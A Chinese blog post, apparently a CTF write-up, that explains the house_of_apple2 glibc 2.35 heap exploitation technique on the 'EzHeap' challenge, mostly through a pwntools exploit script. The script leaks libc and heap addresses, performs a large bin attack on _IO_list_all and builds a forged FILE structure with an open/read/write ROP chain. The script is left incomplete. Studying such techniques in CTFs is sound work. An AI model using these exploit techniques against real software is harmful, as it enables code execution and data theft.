当前位置:首页 > 技术 > 正文内容

深入分析 house_of_apple2 的堆利用技巧

访客 技术 2026年6月5日 1

在本文中,我们将深入探讨如何通过 house_of_apple2 技巧实现堆利用。以今年国赛的题目 EzHeap 为例,详细解析在 glibc 2.35 删除 svcudp_reply 函数后,如何通过构造特定条件来读取 flag。

环境与功能分析

EzHeap 提供了基本的增删改查功能:

  • :创建堆块时会将内容初始化为 0。
  • :释放堆块后,指针被置零,无法进行 UAF 攻击。
  • :用户可自定义输入长度,存在潜在漏洞。
  • :展示堆块内容,使用 printf(%s) 输出,直到遇到 \x00 结束。

漏洞点

通过以下步骤可以泄露 libc 基址和堆地址,并最终实现攻击:

  1. 创建多个堆块,释放一个大堆块进入 unsorted bin。
  2. 修改当前 chunk 和下一个 chunk 的 size 段及 pre_size,使得调用 show() 时能够打印出所有内容。
  3. 申请更大的堆块,迫使目标 chunk 进入 large bin,从而实现地址泄露和 large bin attack。

以下是具体代码实现:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process('./EzHeap.backup')
elf = ELF('./EzHeap.backup')
libc = ELF('/home/user/glibc/libs/2.35/libc.so.6')

def create(size, content):
    p.recvuntil(b'>> ')
    p.sendline(b'1')
    p.recvuntil(b'size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'content: ')
    p.send(content)

def delete(idx):
    p.recvuntil(b'>> ')
    p.sendline(b'2')
    p.recvuntil(b'idx: ')
    p.sendline(str(idx))

def edit(idx, length, content):
    p.recvuntil(b'>> ')
    p.sendline(b'3')
    p.recvuntil(b'idx: ')
    p.sendline(str(idx))
    p.recvuntil(b'size: ')
    p.sendline(str(length))
    p.recvuntil(b'content: ')
    p.send(content)

def show(idx):
    p.recvuntil(b'>> ')
    p.sendline(b'4')
    p.recvuntil(b'idx: ')
    p.sendline(str(idx))

# 初始化堆块
create(0x200, b'/flag\x00')  # 0
create(0x420, b'A' * 16)     # 1
create(0x200, b'/flag\x00')  # 2
create(0x410, b'A' * 16)     # 3

delete(1)
edit(0, 0x210, b'B' * 0x20f + b'C')
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0
print(f"libc_base = {hex(libc_base)}")

# 恢复堆块状态
edit(0, 0x210, b'B' * 0x200 + p64(0) + p64(0x431))
create(0x430, b'D')  # 1
edit(0, 0x210, b'B' * 0x20f + b'C')
show(0)
fd = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
edit(0, 0x220, b'B' * 0x21f + b'C')
show(0)
p.recvuntil(b'ac')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - (0x5617db1db510 - 0x5617db1d9000)
print(f"heap_base = {hex(heap_base)}")

# 恢复并设置伪造链表
edit(0, 0x230, b'B' * 0x200 + p64(0) + p64(0x431) + p64(fd) * 2 + 
     p64(heap_base + 0x5617db1db510 - 0x5617db1d9000) + 
     p64(libc_base + libc.sym['_IO_list_all'] - 0x20))

伪造 IO_FILE 和 IO_wide_data

为了触发特定函数调用链,我们伪造如下结构体:

fake_IO_FILE = flat({
    0x0: 0,   # _IO_read_end
    0x8: 0,   # _IO_read_base
    0x10: 0,  # _IO_write_base
    0x18: 0,  # _IO_write_ptr
    0x20: 0,  # _IO_write_end
    0x28: 0,  # _IO_buf_base
    0x30: 0,  # _IO_buf_end
    0x38: 0,  # _IO_save_base
    0x40: 0,  # _IO_backup_base
    0x48: 0,  # _IO_save_end
    0x50: 0,  # _markers
    0x58: 0,  # _chain
    0x60: 0,  # _fileno
    0x68: 0,  # _old_offset
    0x70: 0,  # _cur_column
    0x78: 0,  # _lock
    0x80: 0,  # _offset
    0x88: 0,  # _codecvt
    0x90: heap_base + 0x5635cdee0310 - 0x5635cdede000,  # _wide_data
    0x98: 0,  # _freeres_list
    0xa0: 0,  # _freeres_buf
    0xa8: 0,  # __pad5
    0xb0: 0,  # _mode
    0xc8: libc_base + libc.sym['_IO_wfile_jumps']
})

fake_IO_wide_data = flat({
    0x0: [
        libc_base + 0x000000000002a3e5,  # pop rdi
        heap_base + 0x5626d7c3b950 - 0x5626d7c39000,
        libc_base + 0x000000000002be51,  # pop rsi ; ret
        0,
        libc_base + 0x000000000011f2e7,  # pop rdx ; pop r12 ; ret
        0,
        0,
        libc_base + 0x0000000000045eb0,  # pop rax ; ret
        2,
        libc_base + libc.sym['syscall'] + 27,
        libc_base + 0x000000000002a3e5,  # pop rdi
        3,
        libc_base + 0x000000000002be51,  # pop rsi ; ret
        heap_base + 0x5626d7c3b950 - 0x5626d7c39000,
        libc_base + 0x000000000011f2e7,  # pop rdx ; pop r12 ; ret
        0x100,
        0,
        read_addr,
        libc_base + 0x000000000002a3e5,  # pop rdi
        1,
        write_addr
    ],
    0xe0: heap_base + 0x5635cdee03f0 - 0x5635cdede000,
    0x148: libc_base + 0x000000000005a120  # mov rsp, rdx ; ret
})

最后,通过 largbin 操作完成攻击流程。

完整 exp 参见附件。

标签: pwn

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。